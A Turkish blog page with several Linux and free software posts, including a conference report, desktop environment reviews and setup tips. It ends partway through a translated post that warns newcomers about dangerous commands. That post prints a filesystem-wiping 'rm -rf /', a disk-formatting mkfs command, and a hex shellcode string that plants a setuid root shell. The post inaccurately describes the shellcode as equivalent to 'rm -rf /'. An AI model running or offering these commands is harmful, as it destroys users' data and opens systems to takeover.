Özgür Yazılım ve Linux Günleri 2013

4 senedir aralıksız katıldığım bir ÖYLG'nin daha sonuna geldik. Yaşadıklarımı anlatmak istiyorum.

Cuma sabahında Alternatif Bilişim cemaati olarak Hackerspace'de buluşup etkinlik alanına doğru yola çıktık. Bilgi Üniv. servislerinin yerinin değiştirmelerinden haberim olmayınca ufak bir krizden de kurtulmuş oldum.
Bu sene etkinlik Santral kampüsünün enerji müzesinde yapılıyordu. Etkinlik alanını Dolapdere'dekinden daha çok beğendiğimi söyleyebilirim. Sponsor listesinin kabarık olmasıyla ve demirbaş haline gelmiş kurumların katılımıyla stand sayısı fazlaydı. Salonların büyüklükleri iyiydi.

Etkinlik teması dağıtık sistemler ve NoSQL veritabanları olarak belirlenmişti. NoSQL pek aşina olduğum bir konu değil ama ÖYLG'nin güncel bir konuyu seçmesine memnun oldum. 7-8 tane konuşmayı dinleyebildim. Onlardan bahsettikten sonra, hatrı sayılır gördüğüm şeyleri anlatmak istiyorum.

İlk olarak mevcut Pardus proje yöneticisi Ahmet Kaplan'ın konuştuğu TÜBİTAK ULAKBİM'ın sponsor sunumuna girdim. Etkinlikten günler önce konuşmanın protesto edileceği konuşuluyordu. Bir ara konu yumurta atmaya kadar geldiyse de böyle bir olay yaşanmadı. Ahmet Bey sunum yapmadan kısa bir konuşma yapıp zamanı sorulara ayırmak istedi. O sırada eski geliştiriciler de salondaydılar. Gökçen Eraslan'ın "Eski Pardus'tan hangi bileşenleri kullanıyorsunuz ?" sorusuna cevabın Milky olmasına epey bir içerlemiş gözüküyordu. Bu süreç boyunca tepkisini çok net ortaya koyan insanlardan olan Ozan Çağlayan eleştirilerini sıraladıktan sonra "Kurumsal 2 zaten isteklerinizin çoğunu yapıyordu" sözüne "Sizin yaptığınız ürün çalışsaydı MSB bizim kapımıza dayanmazdı" cevabı basbaya ayıptı. (Sözü geçen ürünün 3.5-4 senelik Kurumsal 1 olduğunu hatırlatayım) Ahmet Beyin dışarıda bu söz için özür dilediğini not düşeyim. Dinleyicilerden birinin "LibreOffice çeviri listesinde TÜBİTAK'tan niye kimse yok" sorusuna verilen "Olmaması da lazım zaten " cevabı gülünçtü.
Konuşmadan anladığım şeyler arasında Yeni Pardus deposunun kamuya açık olmaması Tübitak'ta yaklaşık 5 kişinin bulunup geri kalan işlerin firmalara yaptırılması gibi şeyler vardı. Aslında servis sağlayıcısı görevi gören bir kurumun Linux dağıtımı geliştirmeyi ne kadar becerebileceği hala tartışma konusu. Konuşma süresi biraz aşılsa da tartışma dışarıda uzunca bir süre devam etti. Bir kısmını dinledim. Hararetli tartışma bir yerden sonra yumuşadı. Eski geliştiriciler tartışmayı trollemediler ve tavırları yaşadıklarına rağmen makul ve gerçekçiydi. Etkinliğin en merak edilen olaylarından biriydi. Konuşma sırasındaki protesto görüntülerine https://pardusadokunma.wordpress.com/2013/04/06/ozgur-yazilim-gunleri-2013-tubitak-protestosu/ adresinden erişebilirsiniz.

Ardından Ekin Meroğlu'nun yaptığı Linux Tabanlı Sanallaştırma: KVM ve Ekosistemi konuşmasına katıldım. 1.5 saate yakın sürdü. Oldukça yoğun ve bilgilendirici olduğunu düşünüyorum. Sanallaştırma pek ilgilendiğim bir konu değildi ama ilginç olabileciğini düşünüyorum. Bu konuşmaya denk gelmem iyi oldu.

ÖYLG'ninde özellikle Chris Hoca(Stephenson)'nın sunumunu kaçırmamaya çalışıyorum. Özgür yazılım camiasına Chris Hoca'dan bahsetmeye elbette gerek yok. Ama piyasadan pek hazetmeyen ben için yaptığı bilim vurgusu çok değerli ve kendi adıma büyük bir boşluğu doldurduğunu düşünüyorum. Konuşma başlığı GoTo’nun Zararlı Kabul Edilmesi – Dijkstra’nın Mirası olsa konunun odak noktası Dijkstra'ydı hatta GoTo 2-3 cümleden fazla geçmedi diye hatırlıyorum. Artık klasikleşmiş bir şekilde konuşmada Java'ya giydirmeyi de ihmal etmedi.

Ardından oldukça provakatif ve gel beni dinle diyen bir başlığa sahip Yaşar Safkan'ın Yazılımcının Suçu Ne ? sunumunu izledim. Zaten eğlenceli bir insan olan Yaşar Abi komik bir şekilde yazılımcıların sorunlarına değindi. Konuşmayla ilgili bir özet için http://www.teknikodu.com/yazilimcinin-sucu-ne/ konuşma videosu için buraya http://www.safkanyazilim.com/yasar-safkanin-ozgur-yazilim-gunleri-2013teki-konusmasi/ bakabilirsiniz.

İlk günün son etkinliğinde Uğur Özyılmazel'in İnsanlar için Git konuşmasını dinledim. Git'e aşina olmayanlar için güzel bir girişti. Git yaşam döngüsünü biliyordum ama otomatize eden git-flow aracınında haberdar değildim. Onu da buraya not düşebilirim.

İkinci gün biraz geç kaldığım için Neden Scala konuşmasının ortalarına denk geldim. Güzel bir giriş sunumuydu ama ben dilden haberdar ve basit seviyede bilen biri olduğum için yeni pek fazla şey duymadım. Ancak concurency'ye en yakın kelimeyi bulduklarını düşünüyorum eş-zamanlılık diyerek.

Tizen konuşmasını dinleyemesem de Meego topluluğuyla görüşmek güzeldi. Galaxy S3'ün boyutlarından şikayet edenlere Tizen demo cihazını göstermek isterdim.

Ardından HortonWorks'ten Chris Harris'in Hadoop sunumunu izledim. Yanlış anlamadıysam HortonWorks Yahoo'daki ilk Hadoop ekibinin üyeleri tarafından kurulmuş ve Hadoop Core'una en çok katkıyı veren şirket. Harris'in konuşması Hadoop ne işe yarar, hangi bileşenlerden oluşuyor, yahu ne olcak bu Hadoop'un hali konuları eksenindeydi. Teknik detay pek içermiyordu diyebilirim. Konuşmayı dağınık bulanlar olmuş, ben pek farketmedim.

Sonrasında günün son sunumlarından olan Yakından Eğitim'e girdim. GSoC'un yerli şubesi diyebileceğim yakından eğitim ilgilendiğim takip ettiğim ancak belli çekincelerle başvurmadığım bir projeydi. Sunumdan anlayabildiğim kadarıyla onlar da projeyi oturtmaya çalışıyorlar kendilerine tekrar başarılar dilerim.

Etkinlikte sunumlar dışında olan bitenden de biraz bahsetmek istiyorum.

Hackerspace olarak getirdiğimiz Commodore 64 büyük ilgi gördü. Mail listesi kayıtlarını oradan almaya çalışsak da ben e-posta bırakmıştım ama eklemediniz sözünü çok duyacağız gibime geliyor. Commodore'a sonsuz döngü yapan bir program yazıp beni kullanmayı bilmediğim bir aletle öylece ortada bırakan Uğur Abiye de teessüflerimi burdan ileteyim. Hatta biri o durumun resmini de çekmiş.Malum trollük mağduru olunca eğlenceli olan bir şey değil :)
Ancak etkinliğin en büyük trollü ödülünü aşağıdaki ilanla bence Bilgisayar Mühendisliği Odası hakediyor.
Piyasada görmeye çok alıştığımız 5 kişinin işini 1 kişiye yaptırma amaçlı ilanların biraz abartılmış versiyonu. Tepedeki referans kodununun YUH ile başladığını farketmeyen ben dahil pek çok kişi bunu ciddiye aldı ve çokca dalgası geçildi. Kendim de fark etmedim aslında bunu BMO adına üzüldüğüm için sitem etmeye gittiğimde gösterdiler. İnternette falan da bozuntuya vermediler. Trollüğün kitabı yazılacak olsa girmesi gereken bir hareket.

LKD standında bir süre sadece kadınların bulunması özellikle saç,sakal,göbek triosuyla akla gelen linuxçu stereotype'ına karşı hoş bir görüntüydü. Özgür yazılımda kadınların daha aktif olmaları dileğiyle diyeyim.

Yeni tanıştığım insanlar karşısında heyacanlanıp, yer yer gaza gelip insan kilitleme gibi kötü bir huyum var ne yazık ki. Bu seneki piyango Biçda standındaki hanıma vurdu kendisinden özür dileyeyim buradan.

Gördüğüm kadarıyla her sene etkinlik biraz daha ileriye gidiyor. LKD'ye ve organizatörlere emeklerinden dolayı teşekkür ederim. Bir aksilik olmazsa seneye görüşmek üzere.

9 Nisan 2013

Posted In: Etkinlikler, Gezegen, gnu/linux, Özgür yazılım

Functional Programming Principles in Scala

25 Mart tarihinde Coursera üzerinden Functional Programming Principles in Scala dersi başlıyor. İlgileniyorsanız kaydolmak için şu adrese gidebilirsiniz.
Dersi dilin yaratıcısı ve EPFL(kabaca Lozan Teknik Univ.) öğretim üyesi Prof. Martin Odersky'nin vermesi de cabası.

Bilmeyenler için Scala fonksyonel ve nesne yönelimli programlama paradigmalarını bünyesinde birleştirmeye çalışan nispeten yeni bir programlama dili. JVM üzerinde çalıştığı için Java uyumluluğu sağlayabilmesi de bir artı. Bu aralar oldukça revaçta hatta 1-2 sene önce Twitter altyapısını Scala'ya geçirmeye başladı. (Artık meşhur balina pek gözükmüyor di mi). Daha fazla bilgi için scala-lang.org adresine gidebilirsiniz.

Coursera'da günümüzün kutsal bilgi kaynaklarından sayılabilecek bir eğitim platformu. 60 kadar üniversite (Bu üniversitelerin içinde Stanford,Princeton, Caltech falan gibi çok iyi üniversiteler de var) tarafından dersler bedava olarak yayınlanıyor. Herhangi bir kısıtlama olmadan istediğiniz derse yazılabiliyorsunuz. Dersi takip eder ve verilen ödevleri yapıp internete gerekli puanı tutturabilirseniz dersi geçmiş oluyorsunuz. Salt video ve ödevden gayrı ders forumlarının bulunup bunlar aracılığıyla insanlarla iletişime geçebilmek güzel.

Bu ders ikinci defa açılımış, ilk açıldığında 50.000 kişi kaydolmuş ve bunların 10.000'i dersi geçmiş ki söylediklerine göre bir online dersin ulaştığı en yüksek başarı oranıymış.

23 Mart 2013

Posted In: Gezegen, Özgür yazılım, programlama

Masaüstü Ortamları (Yeniden)

Geçenlerde Virtualbox üzerinden Arch Linux'u kurcalarken aklıma bir fikir geldi. X'i çalışır hale getirdikten sonra bir snapshot alarak farklı masaüstlerini denemeye başladım. Daha önce DE'ler üzerine yazdığım yazının eskidiğini fark edince tekrar yazmak istedim.

Denemeleri Virtualbox üzerinde çalışan 64 bit Arch Linux 2012.11.01 sürümüyle yaptım. Host makinamın da 3.5-4 senelik olduğunu da belirtmek isterim. Denemeyi günlük kullanımla değil DE'nin orasını burasını kurcalayarak yaptığımı ve günlük kullanımda farklı manzaralarla karşılaşabileceğini de ayrıca hatırlatmak isterim

KDE

Kanımca  KDE DE olmayı aşalı çok oldu. Çünkü DE'den gayrı sistemde kullanılan bir çok yazılımı kendileri geliştiriyorlar. Bu işi de oldukça iyi yaptıklarını düşünüyorum. Çünkü KDE yazılımlarının bir çoğu oldukça kaliteli ve bazıları GNU/Linux ekosisteminde alanlarının en iyisi. Zaten bildiğim kadarıyla KDE artık masaüstü ortamı olarak değil yazılın derlemesi (SC) olarak anılıyor.

KDE 4'un Plasma kabuğu oldukça yenilikçi bir araç ve sürekli yenileniyor. Activity özelliği ile beraber sanal masaüstünde çığır açtıklarını da söyleyebilirim. KDE 4 serisinin en çok şikayet edilen noktalarından biri olan performans sorunun KDE 4.8 ile çözdükleri konuşuluyordu şahsen denemediğim için yorum yapmak istemiyorum.

KDE'nin kendi altyapısına sahip olması KDE yazılımlarını diğer DE'lerde kullanmak konusunda sorun yaratıyor. Çünkü tek bir KDE yazılımı için 50 MB'ın üzerinde KDE baseini kurmak gerekiyor.

KDE'ye sık getirilen eleştirilerden birisi Windows'a benzemeye çalışması. Ben bu iddiayı pek ciddiye almadığımı söyleyebilirim. Çünkü Windows veya Mac OS'tan gelen insanlar genelde panel altta olunca Windows'a üstte olunca Mac'e benzediğini iddia ediyorlar ki  (Paneli üstte olan KDE'nin Mac Os'a benzetildiğini duymama binayen bunu söylüyorum) bu gülünç. KDE'nin Windows'a benzemeye çalışmadığını yenilikçi teknolojileriyle zaten ispatladığını düşünüyorum.

KDE'nin Windows'a benzemesini masaüstüyle beraber araçları da kendi geliştirmesi yoluyla olduğunu düşünüyorum. Ortaya özgür ve kaliteli ürünler çıktıktan sonra bunu umursamamakla beraber, Windows'a benzeme eleştirisinin de bu noktadan geldiğine pek şait olmadım.

Ayrıca KDE'nin teknik anlamda teknolojilerini ve codebase'ini kaliteli bulduğumu da söylemeliyim.  Qt frameworkü beğenmekle beraber bir araç seti olarak özgür yazılım camiasının en önemli silahlarından olduğunu düşünüyorum.

Full KDE kurulumu yaklaşık 700 MB tutuyor ve büyük ihtimalle kullanmayacağınız eğitim programlarını, oyunları, artworkleri de içeriyor. Paketlerin diğer gruplardan seçimi daha ekonomik olacaktır kanısındayım.

Performans sorununuz yoksa KDE DE'ler arasında bence en iyi seçimlerden bir tanesi.

GNOME

GNOME 2'nin sadık bir kullanıcı kitlesi ve oturmuş bir düzeni varken GNOME 3'te gidilen radikal değişiklikler oldukça tepki çekti. Genelde DE'ler yeni sürümlerde radikal değişikliklere giderken tepki çekenin bu değişikliklerin iyi kotarılamadığının düşünülmesi olduğunu söylemek mümkün.

Eleştirilerin genelde odaklandığı nokta olan özelleştirme azlığı üzerine yorum yapmam pek mümkün değil çünkü günlük olarak kullanmadım. Yapılan en büyük değişiklik sanırsam Etkinlikler arayüzü, hoş fikirler barındırsa da bence iyi kotarılamamış.

Etkinlikler arayüzü ilk açıldığında ortada bir multitasking menüsü sol da bazı uygulama kısayolları ve sağda sanal masaüstleri bulunuyor.Uygulama menüsüne sağ alta doğru bir tuşa basarak erişiyorsunuz. Etkinlik arayüzünün uygulama menüsünün yerine geldiğini düşünürsek uygulamalara erişmek zahmetli hale geliyor. Uygulama menüsünün altına açık penceleri gösteren bir multitasking menüsü bence çok şık olurdu.

Pencere menülerinde de enterasan bir değişikliğe gidilmiş ama kendi adıma beğenmediğimi ifade edebilirim. Klasik panel görüntüsü devam etmekle beraber pencere menüleri paneldeki ilgili pencere simgesine tıklanarak açılır hale gelmiş. Verimli bulmadım. Ayrıca pencereyi tam ekrandan ufalttığınızda hala bir pencere başlığı var ve simge durumuna küçült ve tam ekran seçenekleri olmadan sadece kapat butonu var ki bence sinir bozucu.  Pencereyi ekran kenarlarına sürükleyerek sağa sola alma büyütme getirilmiş.

Geçenlerde GNOME 3'ün bu arayüzden vazgeçeceğine dair haberler vardı. Zaten bu haliyle de önerebileceğim bir DE değil.

Unity

Unity yanlış hatırlamıyorsam ilk defa Ubuntu 11.04 ile kullanılmaya başladı. Çok tartışılmasına ve eleştirilmesine rağmen şahsen kullanmadığımı ve kendi değerlendirmemi izlenimler ve videolar üzerinden yapacağımı belirteyeyim.
 Her DE gibi ilk çıktığında sorunlarla boğuşmakta olduğunu ve 2 senenin ardından biraz oturduğunu duyuyordum.

Başka bir DE'den geçtiyseniz büyük ihtimalle ilk fark edeceğiniz şey pencere menülerinin yukarı panele alınması olacaktır. Çok eleştirilmesine rağmen yerden tasarruf etmeyi ve uygulamaya daha fazla alan bırakmasının kullanışlı olabileceğini düşünüyorum. Uygulama başlatma ve açık uygulamaların görülmesi için solda bir panel tasarlanmış.

Panelde bazı uygulamaların kısayolları ve bir Ubuntu logosu görünüyor. Ubuntu logosunun oldukça yetenekli bir uygulama menüsü olduğunu söyleyebilirim. Aynı zamanda resim, müzik gibi medyaların önizlemesini de yapabilmekte. Ubuntu 12.10 ile gelen Amazon entegrasyonu epey tartışma yarattı.

EFF (Electronic Frontier Foundation/ Dijital özgürlüğü ve internet özgürlüklerini korumak için çalışan bir vakıf. Türkiye'deki benzeri için http://www.alternatifbilisim.org/wiki/Ana_Sayfa adresine bakabilirsiniz) kullanıcıların iletişimini ve verilerini tehlikeye atacağını duyurdu. Ben de Amazon entegrasyonu kapatmanızı öneririm.

Atıl Meta/Windows tuşuna işlev kazandıran HUD arayüzünü çok beğendim. Pencere menüleri arasında arama yapabilmek şahane bir özellik olmuş.
En sık söylenen şeylerden biri de Ubuntu'nun Mac OS'e fazlasıyla benzemesi. Mac OS ciddi bir şekilde benzediği doğrudur. Ancak kendi teknolojileriyle bir Mac OS klonu olmaktan çok öte DE olduğunu düşünüyorum.

Özelleştirme seçenekleri ve diğer uygulamalarla entegrasyonu hakkında pek fikrim yok.
Unity genel anlamda ilginç bir masaüstü deneyimi sunuyor. Kendim denemek için üşensem de denemeye değer olduğunu düşünüyorum.

MATE

MATE bir GNOME 2 forku. Denerken eski GNOME 2'den pek farkını göremediğimi söyleyebilirim. Sanal makina üzerinden performans üzerinden yorum yapamasam da eski performans/sadelik dengesini yakalamışsa eski masaüstü tecrübesini arayanlar için iyi bir seçim olabilir.

XFCE

Yaklaşık 1 senedir DE olarak XFCE kullanmaktayım.Eskiden kısıtlı donanıda çalışacak hafif bir DE olarak tasarlandığını bilmeme rağmen yeni sürümü bana GNOME 2'nin açığını doldurmaya çalıştığını düşündürttü. Performansının hala oldukça iyi olmasına karşın masaüstü tecrübesi olarak GNOME 2'ye oldukça benzediğini söyleyebilirim. Kendi uygulamalarını tatminkar bulmuyorum. Ancak GNOME yazılımları kurulduktan sonra iyi bir deneyim yaşattığını söyleyebilirim. Eski masaüstü tecrübesini arayanlar için gayet iyi bir seçim olabilir.

LXDE

Çok hafif bir DE olduğunu söyleyebilirim. Sanal makinada bile oldukça performanslı çalıştı ve ayrıca kurulurken bilgisayar kullanımı için gerekecek temel yazılımları da beraberinde getirmesiyle kısıtlı donanımlar için oldukça iyi bir seçim.

Enlightenment

Enlightenment'in amacı minimal bir DE olmak olsa da oldukça enteresan özellikleri olduğunu söyleyebilirim. Klavye dilini bayrakla göstermesini beğendim. Dosya yöneticisinde bir dosyanın üzerine gelindiğinde önizleme olarak içini göstermesi de olduça hoş. Klasörleri farklı pencerelerde açması ve yer yer tıklanan pencerede focus problemi yaşaması da bence bir eksi.

Gene de enteresan ve hafif bir DE kullanmak isteyenlere Enlightenment önerebilirim.

Openbox + Razor-Qt

 Razor-Qt oldukça yeni bir DE ve aslında yukarıda yazdıklarımın içinden en minimal olanı kendi pencere yöneticisi,dosya yöneticisi falan yok. Bir pencere yöneticisi üzerine çalıştırıyorsunuz ve size bir arayüz sağlıyor bu kadar. Durumu şöyle açıklayabilirim. X ilk kurulduğunda  bir terminal ve fare imlecinden fazlası değil. Bunun üzerine salt bir pencere yöneticisi kurduğumuzda mesela Openbox GUI'den program çalıştırmak için çok basit bir menü ve bir uygulama açtığımızda eski güzel simge durumuna küçült,tam ekran ve kapat tuşları geliyor. Openbox'un becerisi de bundan ibaret. Üzerine Razor-Qt kurduğumuzda yukarıda bahsettiğim DE'lerin sunduğu arayüze erişebiliyorsunuz.
Razor-Qt nedense bana KDE 3'ü anımsattı.
Hala deneysel olsa da ilginç olabileceğe benziyor. Gözucuyla da olsa takip etmekte fayda görüyorum.

Masaüstü ortamlarıyla ilgili yazdığım ilk yazıya adresinden ulaşabilirsiniz.

4 Aralık 2012

Posted In: Gezegen, gnu/linux, Özgür yazılım

Clipdict’e Merhaba

Uzun zamandır program bağımsız bir sözlük olsa ne güzel olurdu diye düşünüp duruyorum. (Bir akıllı ben değilim ya illa birileri yapmıştır ben denk gelememişimdir.) Kafamda kurduğum şeyde şuydu anlamını bilmediğim bir kelimeyi seçsem bir tuşa bassam ve anlamını görebilsem. Bunu yapabilen tarayıcı eklentileri var ama bu bana bir tek tarayıcıda lazım olmuyor. Akşam aklıma kelimeyi clipboard'dan çekerek bunu yapabileceğim geldi. Python ve QT ile 15-30 dk'lık bir uğraşıyla (ki onunda en az yarısı döküman okumaya gitmiştir) Clipdict'i yazdım ve ona mümkün olabilecek en berbat isimlerden birini verdim.

Aslında çok çok basit bir iş yapıyor clipboard'dan çektiği kelimeyi seslisozluk'te arayıp çıktısını bir QWebView'e veriyor. Kendisi için bir klayve kısayolu oluşturduktan sonra gayet güzel olduğu fikrindeyim.

Xubuntu üzerinde test ettim. Diğer dağıtımlarda da sorun çıkmaz sanıyorum ama Windows'da çalışır mı bilmiyorum. Windows'ta çalıştırmak isteyen olursa diye Python 2.7.x ve QT 4.7.x kullandığımı yazayım.
Kullandığım QClipboard modunun X11'e özel olması gibi bir şey yazıyordu QT belgelerinde. Bir deneyen olursa haber verirse sevinirim.
GÜNCELLEME: Windows bir makina üzerinde deneme fırsatı buldum. Çalışması için QClipboard modunu Selection'dan Clipboard moduna değiştirmek gerekti. Windows herhalde farklı bir clipboard sistemi kullandığı için seçilen veriye ulaşmak için kopyalamak gerekti. Windows'ta bir kısayol ile komut çalıştırmanın mümkün olmadığını sanıyorum.  Clipdict'i GNU/Linux üzerindeki gibi çalışır için gereken çabanın Windows araçlarıyla yeni bir tane yazmaktan daha fazla olduğunu düşündüğüm için de üzerinde uğraşmamayı düşünüyorum.

Olur da bir göz atmak isterseniz aşağıdaki adreste bulabilirsiniz.

30 Nisan 2012

Posted In: Gezegen, Özgür yazılım, programlama

XFCE üzerinde HDMI’dan ses çıkışı almak

Bir süredir bilgisayarımı ekran olarak bir LCD TV kullanarak kullanma imkanı buldum. Bağlantıyı da yazının başlığından anlayabileceğiniz gibi HDMI ile yapıyorum. Ancak HDMI'dan ses çıkışı almayı oldum olası becerememişimdir. XFCE Ses karıştırıcısından dahili ses kartını HDMI yapmak işe yaramadı aynı şeyi terminalden alsamixer kullanarak yapmayı denediğimde pek sonuç alamamıştım. İnternette bazı yerlerde dahili ses çıkışının kapatılması gerektiğini okudum. Ancak XFCE ses araçları bunu sağlayamadığı için başka bir yok aramaya başladım. Sonra Pulse Audio ses araçlarının daha detaylı seçenekler sunduğunu hatırladım.  Sorunu çözmek için bu adımları uygulamam gerekti

pavucontrol paketini kurmak
ve Configuration sekmesinden dahili ses ayarını kapalıya getirmek.

Kullandığım dağıtımın Xubuntu 11.10 olduğunu ve ekran kartımın ATI Radeon 4650 olduğunu da not düşeyim. Kendim için düştüğüm bu not birine es kaza faydalı olursa da ayrıca mutlu olurum.

29 Nisan 2012

Posted In: Gezegen, gnu/linux

XFCE 4.8 üzerine Nautilus kurulumu

XFCE'nin varsayılan dosya yöneticisi Thumar'ı yavan bulduğumdan bir önceki yazımda bahsetmiştim ve dosya yöneticisi olarak Nautilus kurmaya çalıştım  O süreçten biraz bahsetmek istiyorum.


Öncelikle herkesin en başta yapacağı gibi depolardan Nautilus'u indirdim. Ama çalıştırdığım zaman sorun olmamasına rağmen bütün masaüstü simgeleri kayboldu ve arka plan komple mavi oldu. (Mavi ekran hoş çağrışımlar yapmadı tabii)


İnternette biraz dolandığımda bu sorunun Nautilus'un GNOME üzerinde çalışmadığını fark etmesi ve bazı masaüstü ayarlarına müdahale etmeye çalışması yatıyormuş. GNU/Linux üzerinde masaüstü olarak adlandırdığımız alanın dosya yöneticilerini tarafından sağlandığını öğrenmek kısa süreli bir şok yaşattı.


Bu durumda yapılacak olan şey varsayılan tarayıcı olarak Nautilus kullanıp masaüstünün Thunar tarafından yönetilmesini sağlamaktı. Bunun için Nautilus yapılandırma dosyalarında bazı değişiklikler yapmak gerekiyor. 



gconftool-2 -s -t bool /apps/nautilus/preferences/show_desktop false &

gconftool-2 -s -t bool /apps/nautilus/preferences/draw_background false &

dconf write /org/gnome/desktop/background/show-desktop-icons false 

Bu değişikleri yapmak yerine Nautilus'u  --no-desktop parametresiyle de çalıştırabilirsiniz ama eklentileri falan olumsuz etkiler mi bilmediğimden öyle bit yola girdim.  Bu değişikler yapıldıktan sonra Nautilus'u güzel güzel kullamabilmeye başlıyoruz ama masaüstü simgeleri Thunar tarafından yönetildiği için çift tıkladığımızda Thunar ile açılıyor. Bu adreste durumu değiştiremeyeceğimizi söylemiş ama Thunar'ın sağ tık menüsüne Open in Nautilus tadında bir komut eklemiş. Onun komutu da bu

gconftool-2 -s -t bool /apps/nautilus/preferences/show_desktop false &mv .config/Thunar/uca.xml .config/Thunar/uca.xml.bak ; sed 's/<\/actions>$/nautilus<\/icon>Open in Nautilus<\/name>nautilus %F<\/command><\/description>*<\/patterns><\/action><\/actions>/' .config/Thunar/uca.xml.bak > .config/Thunar/uca.xml

Aslında bu işlemi yapmadan masaüstü simgelerini de kapatabiliriz. Ama her ne kadar aygıtların simge olarak masaüstünde durmasından hoşlanmasam da (KDE'nin aygıtları panel notifikasyonu olarak gösterme çözümünü oldukça beğeniyorum) masaüstünde dosya işlemleri yapamamak hoşuma gitmediği için bunu tercih ettim. 

Bu işlemleri uyguladıktan sonra dosya yöneticimiz Nautilus'un keyfini çıkarabiliriz.

Yukarıda adresini verdiğim de başka kullandığım başka bir kaynakta bu onu da bildirmek istedim. http://ubuntuforums.org/showthread.php?t=1768245 

8 Şubat 2012

Posted In: Gezegen, gnu/linux

XFCE ve Xubuntu Üzerine

Tübitak 1 senedir kullanmakta olduğum Pardus 2011 serisini bitirince bende yeni bir dağıtım arayışına girdim. Şunu fark ettim ki masaüstü yöneticisi seçimi dağıtım seçimini oldukça etkiliyor. Önce masaüstü yöneticisini seçmek istedim. KDE'yi ve uygulamalarını aslında oldukça seviyorum ama farklı bir şey denemek istedim. Unity ve GNOME 3.x serisi pek beğenilmediğinden tercihimi XFCE'den yana kullandım. Dağıtım tercihimi de Xubuntu 11.10'dan yana kullandım. Tecrübelerimden biraz bahsetmek istiyorum.

Kurulumu bir USB bellek üzerinden yaptım. Kurulum aracının görüntülenmesinde bazı sorunlar olsa da kurulum hızına hayran kaldım. 5-10 dk arası bir zaman aldı. Masaüstü ilk açıldığında GNOME 2.x serisine oldukça benzediğini fark ettim ve bu durum hıoşuma gitti. Uygulama tercihlerinin bazılarını beğensem de çoğunu pek beğenmedim. Örneğin e-posta ve IM yazılımları benim favorilerim olan Thunderbird ve Pidgin ile gelen bir dağıtıma ilk defa rastladığım için memnunum. Onun dışında medya oynatıcısı olarak hiç bir dağıtımın VLC ile gelmediğini VLC aşığı bir insan olarak çok merak ediyorum.  Düzeltme  VLC'nin dağıtımlarla gelmemesinin sebebiyle ilgili "VLC'nin içindeki bazı yazılımların (DVD CSS şifreleme kırması ve libavcodec52) patent veya kanuni problemleri olduğundan Debian ve downstreamleri paketleri direk olarak koymuyor." açıklamasını yapan ortunk'ya teşekkür ediyorum.

Öntanımlı görüntü yazılımı ristretto bence berbattı ve diğer yüklü gösterici gThumb yeterli gelse de arayüzünü pek beğenmedim.  Eski dostum gwenview'in  bütün kde-base'i ile beraber gelmesi (KDE nin en sevmediğim yönü de budur herhalde şerefsizlerin şahane uygulamaları var ama başka ortamlara kurmak için 50 MB kadar kütüphane gerekiyor) de hoşuma gitmeyince depodan gPicView adında boyutu KB lar ile ölçüler bir yazılım buldum arayüzü biraz Windows'un resim göstericisine benzese de kendisinden memnun kaldım  KDE'de olmazsa olmazlarımdan Yakuake'nin alternatifi Guake yi bazı eksiklikleri olsa da beğendim. Büyük bir fontla gelmesi ciddi göz bozukluğu yaşayan şahsım için oldukça makbule geçti. Varsayılan metin düzenleyicisi leafpad'i biraz notepad'e benzetmedim değil (leafpad geliştiricileri bunu hakaret olarak kabul ederse kaldırabilirim tabii ki :D ) fıstık gibi gedit varken niye kullanmışlar merak ettim  Beğenmedim diyemesem de Dolphin ve Nautilus tan sonra Thunar pek bir yavan geldi. Alıştığım özelliklerin bir çoğuna sahip olmadığından da rahatsız oldum. Her ne kadar tamamen değiştiremesem de XFCE üzerine Nautilus kurmayı becerdim. (Nasıl yaptığımı başka bir yazıyla anlatabilirim) Görev yöneticisi de oldukça yavandı ve GNOME un Sistem Monitörüyle kıyas bile kabul etmezdi.

Benim bir GNU/Linux dağıtımında oldukça önem verdiğim uyuma ve uykudan uyanma konusunda sorun yaşamaması çok hoşuma gitti.(Bu durum Ubuntu 10.04 LTS de çok canımı sıkıyordu) Sonunda şunu anladım ki XFCE sadeliğe oldukça önem veren bir DE ama ben bir kullanıcı olarak işlevselliğe de oldukça önem verdiğimden beklediğimi pek bulamıyorum. Sonuçta size baya söylenmişim gibi gözükse de ben üzerindeki uygulamaları değiştirerek GNOME 2.x niyetine kendisiyle mutlu olabileceğimi düşünüyorum.

8 Şubat 2012

Posted In: Gezegen, gnu/linux, Özgür yazılım

Tehlikeli Linux Komutları

Geçenlerde Zeki Bildirici'nin Google+'da paylaştığı orjinalini bu adreste bulabileceğiniz Mitesh Shah tarafından yazılmış bir girdiye rastladım. Hoşuma gitti ve sosyal medya akışında kaybolmaması için bloguma aktarmak istedim. Aktarırken de bir katkım olsun diye tercüme edesim geldi. Fazla gevezelik etmeden sizi yazıyla baş başa bırakayım. 

Eğer Linux'ta yeniyseniz, İnternette forumlarda veya IRC 'de dosyalarınıza veya işletim sistemine zarar
verecek komutları çalıştırmanız için sizi kandıracak bazı geri zekalı insanlara denk gelme ihtimaliniz vardır. Aşağıda bu tehlikeli senaryodan kaçınmak için uzak durmanız gereken bazı tehlikeli Linux komutlarından bahsedeceğim.

1. Komut 

rm -rf /

Bu komut herhangi bir uyarı mesajı vermeden kök dizinin içindeki bütün dosyaları silecektir.



rm normalde konsol üzerinde dosya silmek için kullandığımız bir komuttur. Ve normalde silmek istiyor musunuz şeklinde bir uyarı verir ama -f (force) parametresi bu uyarıyı ezer ve doğrudan silme işlemini uygular. -r (recursively) parametresi de bütün alt klasörleriyle birlikte sil anlamına gelir. 


2. Komut

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


Bu komut rm -rf / yazmanın başka bir yoludur. Hex formatında olduğu için tecrübeli Linux kullanıcılarını bile yanıltabilir.

3. Komut

mkfs.ext3 /dev/sda
Bu komut sabit diski biçimlendirir yani bütün dosyalarınızı kaybedersiniz. mkfs.ext3 verilen disk veya disk bölümünü ext3 formatında biçimlendir anlamına gelir. /dev/sda ise ana/birincil sabit disk anlamına gelir. Örneğin /dev/sda2 ana sabit diskin sadece bir bölümünü tarif eder.

4. Komut

